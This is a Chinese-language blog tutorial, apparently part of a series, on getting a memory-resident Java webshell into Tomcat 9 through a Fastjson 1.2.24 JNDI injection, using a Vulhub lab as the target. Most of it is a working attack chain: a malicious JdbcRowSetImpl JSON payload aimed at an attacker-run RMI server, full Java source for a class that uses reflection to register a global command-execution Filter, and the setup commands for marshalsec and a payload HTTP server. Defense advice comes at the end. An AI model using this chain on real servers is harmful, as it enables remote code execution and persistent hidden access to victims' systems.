Loading ...
Java 内存马(六):JNDI 注入内存马(Fastjson 补充)

1. 实战背景与核心场景

在 JNDI 注入内存马的基础利用中,Fastjson 反序列化漏洞是最典型的触发场景之一。Fastjson 作为 Java 生态中常用的 JSON 解析库,其 1.2.24 及以下版本存在反序列化漏洞,攻击者可通过构造恶意 JSON payload,触发 JNDI lookup() 方法,进而加载远程恶意类并注入内存马。

实战中需重点解决两大问题:

  • 容器版本兼容性:不同 Tomcat 版本(如 Tomcat 8 vs Tomcat 9)获取 StandardContext 的方式存在差异,直接影响内存马注册成功率。

  • 漏洞环境适配:Vulhub 等公开靶场的 Fastjson 环境可能因依赖版本(如 Tomcat 9)与常规利用代码不兼容,导致注入失败,需针对性调整。

2. Fastjson 漏洞触发 JNDI 注入的原理

2.1 Fastjson 反序列化漏洞核心逻辑

Fastjson 支持通过 @type 字段指定反序列化的目标类,当目标类存在可被利用的 setter 方法或构造方法时,攻击者可构造恶意 payload 触发代码执行:

  • 选择 com.sun.rowset.JdbcRowSetImpl 作为触发类:该类的 setDataSourceName() 方法会将参数赋值给 dataSourceName 属性,而 execute() 方法会调用 InitialContext.lookup(dataSourceName),形成 JNDI 注入链路。

  • 恶意 JSON payload 格式:

    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://攻击端IP:1389/Inject",  // 指向恶意 RMI/LDAP 服务
      "autoCommit": true
    }

2.2 触发流程拆解

  1. 攻击者向 Fastjson 漏洞接口发送上述恶意 JSON payload。

  2. Fastjson 解析 @type 字段,实例化 JdbcRowSetImpl 类。

  3. 调用 setDataSourceName() 方法,将 dataSourceName 设为恶意 RMI/LDAP 地址。

  4. 调用 execute() 方法(Fastjson 反序列化过程中自动触发或通过其他逻辑触发),执行 context.lookup(dataSourceName)

  5. 受害者服务器加载远程 Inject.class,触发构造方法中的内存马注册逻辑。

3. 实战痛点:Tomcat 9 容器适配问题

3.1 常规利用代码在 Tomcat 9 中的失败原因

在 Tomcat 8 中,可通过 WebappClassLoaderBase.getResources() 方法直接获取 StandardRoot,进而拿到 StandardContext

// Tomcat 8 及以下获取 StandardContext 的常规代码(Tomcat 9 中失效)
WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardRoot = (StandardRoot) classLoader.getResources(); // Tomcat 9 中此方法返回 null
StandardContext context = (StandardContext) standardRoot.getContext();

问题根源:Tomcat 9 对 WebappClassLoaderBase 类进行了重构,getResources() 方法被标记为 弃用,且内部实现返回 null,导致上述代码抛出空指针异常(NPE)。

3.2 Tomcat 9 适配方案:反射获取 resources 字段

Tomcat 9 的 WebappClassLoaderBase 类中仍保留 resources 属性(类型为 StandardRoot),但访问权限为 protected,需通过反射突破访问限制:

// Tomcat 9 中获取 StandardContext 的正确代码
public StandardContext getTomcat9Context() throws Exception {
    // 1. 获取当前线程的 Web 应用类加载器
    WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    
    // 2. 反射获取 WebappClassLoaderBase 中的 "resources" 字段
    Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources");
    resourcesField.setAccessible(true); // 突破 protected 访问限制
    
    // 3. 从字段中获取 StandardRoot 实例
    StandardRoot standardRoot = (StandardRoot) resourcesField.get(classLoader);
    
    // 4. 从 StandardRoot 获取 StandardContext
    return (StandardContext) standardRoot.getContext();
}

此方案通过直接操作类属性,绕过了失效的 getResources() 方法,适配 Tomcat 9 环境。

4. Fastjson 实战:完整注入流程(Tomcat 9 环境)

以 Vulhub 的 Fastjson 1.2.24 靶场(Tomcat 9 容器)为例,详细说明注入步骤:

4.1 环境准备

角色 工具 / 环境 说明
攻击端 JDK 8u62 低版本 JDK,确保 trustURLCodebase=true,支持远程类加载
攻击端 marshalsec 启动 RMI/LDAP 服务,生成 JNDI 引用
攻击端 Python HTTP 服务 托管恶意 Inject.class
受害者 Vulhub Fastjson 1.2.24 Tomcat 9 容器,存在 Fastjson 反序列化漏洞

4.2 步骤 1:编写适配 Tomcat 9 的恶意注入类(Inject.java)

核心调整:使用反射获取 resources 字段,适配 Tomcat 9;内置 Base64 编码的 Filter 字节码,避免多文件依赖。

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;
import javax.servlet.http.HttpFilter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Inject {
    // 构造方法:自动执行内存马注册逻辑
    public Inject() {
        try {
            // 1. 适配 Tomcat 9:反射获取 StandardContext
            WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources");
            resourcesField.setAccessible(true);
            StandardRoot standardRoot = (StandardRoot) resourcesField.get(classLoader);
            StandardContext context = (StandardContext) standardRoot.getContext();

            // 2. Base64 解码 ShellFilter 字节码(替换为实际生成的编码)
            String filterBase64 = "yv66vgAAADQAWQoADwAvCAAlCwAwADEKADIAMwoAMgA0BwA1BwA2CgA3ADgKAAcAOQoABgA6CgAGADsL...";
            BASE64Decoder decoder = new BASE64Decoder();
            byte[] filterBytes = decoder.decodeBuffer(filterBase64);

            // 3. 反射加载 ShellFilter 类
            ClassLoader webClassLoader = Thread.currentThread().getContextClassLoader();
            Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClassMethod.setAccessible(true);
            Class<?> filterClass = (Class<?>) defineClassMethod.invoke(webClassLoader, filterBytes, 0, filterBytes.length);

            // 4. 实例化 Filter 并注册到容器
            HttpFilter shellFilter = (HttpFilter) filterClass.newInstance();
            // 4.1 创建 Filter 定义
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName("fastjson-shell-filter");
            filterDef.setFilter(shellFilter);
            filterDef.setFilterClass(filterClass.getName());
            // 4.2 创建 Filter 映射(全局匹配)
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("fastjson-shell-filter");
            filterMap.addURLPattern("/*");
            // 4.3 注册到 StandardContext
            context.addFilterDef(filterDef);
            context.addFilterMapBefore(filterMap);
            context.filterStart(); // 激活 Filter

            System.out.println("Fastjson 触发 JNDI 注入内存马成功!");
       } catch (Exception e) {
            System.err.println("注入失败:" + e.getMessage());
            e.printStackTrace();
       }
   }
}

4.3 步骤 2:生成 ShellFilter 字节码的 Base64 编码

与基础 JNDI 注入流程一致,使用 javassistShellFilter 类转为 Base64 编码,嵌入 Inject 类的 filterBase64 变量中,确保无外部文件依赖。

4.4 步骤 3:攻击端搭建服务

4.4.1 编译 Inject 类

使用 JDK 8u62 编译,需引入 Tomcat 9 核心依赖(tomcat-catalina-9.0.97.jar)与 Servlet API:

javac -cp "tomcat-catalina-9.0.97.jar:javax.servlet-api-4.0.1.jar" Inject.java

4.4.2 启动 HTTP 服务器

将编译后的 Inject.class 放入 HTTP 服务根目录,使用 Python 快速启动:

# 进入 Inject.class 所在目录,启动 80 端口 HTTP 服务
python -m http.server 80

4.4.3 启动 RMI 服务

使用 marshalsec 工具启动 RMI 服务,将引用指向 HTTP 服务器的 Inject.class

# 格式:java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://攻击端IP/#Inject" RMI端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.1/#Inject" 1389

4.5 步骤 4:触发 Fastjson 漏洞并注入内存马

4.5.1 启动 Vulhub Fastjson 靶场

# 进入 Vulhub Fastjson 1.2.24 目录,启动容器
cd vulhub/fastjson/1.2.24-rce
sudo docker-compose up -d

4.5.2 发送恶意 JSON payload

通过 POST 请求向靶场漏洞接口(如 http://受害者IP:8090/)发送 JSON payload,触发 JNDI 注入:

  • 请求方法:POST

  • Content-Type:application/json

  • 请求体:

    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://192.168.100.1:1389/Inject",
      "autoCommit": true
    }
  • 工具:可使用 Burp Suite、Postman 或 curl 发送请求。

4.5.3 验证内存马

注入成功后,通过任意请求携带 cmd 参数即可执行命令(Filter 全局生效):

  • 执行 ls(Linux):http://受害者IP:8090/?cmd=ls

  • 执行 whoamihttp://受害者IP:8090/任意路径?cmd=whoami

  • 响应结果:页面返回命令执行输出(如目录列表、当前用户)。

5. 实战常见问题与解决方案

问题现象 原因分析 解决方案
注入时抛出空指针异常(NPE) Tomcat 9 中 WebappClassLoaderBase.getResources() 返回 null 改用反射获取 resources 字段,而非调用失效方法
JNDI 无法加载远程类 1. JDK 版本过高(8u191+),trustURLCodebase=false;2. 远程类路径错误 1. 使用 JDK 8u191 以下版本;2. 检查 HTTP 服务地址与 Inject.class 路径
命令执行无响应 1. Filter 注册失败;2. 命令执行结果编码异常(如 Windows 中文乱码) 1. 检查 Inject 类中 filterStart() 是否调用;2. 命令执行时指定编码(如 GBK
Fastjson 解析报错 payload 格式错误(如 @type 字段拼写错误、JSON 语法错误) 验证 JSON 格式,确保 @type 字段为 com.sun.rowset.JdbcRowSetImpl

6. 实战总结与防御建议

6.1 实战核心要点

  • 容器版本适配:Tomcat 8 与 Tomcat 9 获取 StandardContext 的方式差异是实战成败关键,需通过反射灵活适配。

  • 单一文件依赖:将 Filter 字节码以 Base64 形式嵌入 Inject 类,避免多文件依赖导致的加载失败。

  • 服务链路验证:注入前需确认 HTTP 服务、RMI 服务可正常访问,避免因网络问题导致远程类加载失败。

6.2 防御建议

  1. 升级 Fastjson 版本:将 Fastjson 升级至 1.2.83 及以上,修复反序列化漏洞。

  2. 限制 JNDI 远程类加载

    • 升级 JDK 至 8u191+、7u201+,默认关闭 trustURLCodebase

    • 通过 JVM 参数 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false 禁用远程类加载。

  3. 监控异常请求

    • 拦截含 @type: com.sun.rowset.JdbcRowSetImpl 的恶意 JSON payload。

    • 监控异常的 RMI/LDAP 连接(如非业务需求的外部 JNDI 服务访问)。

  4. 容器安全加固

    • 限制 Tomcat 应用的反射权限,禁止非必要的 Field.setAccessible(true) 操作。

    • 定期检查 StandardContext 中的 Filter/Servlet 列表,发现未知组件及时清理。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇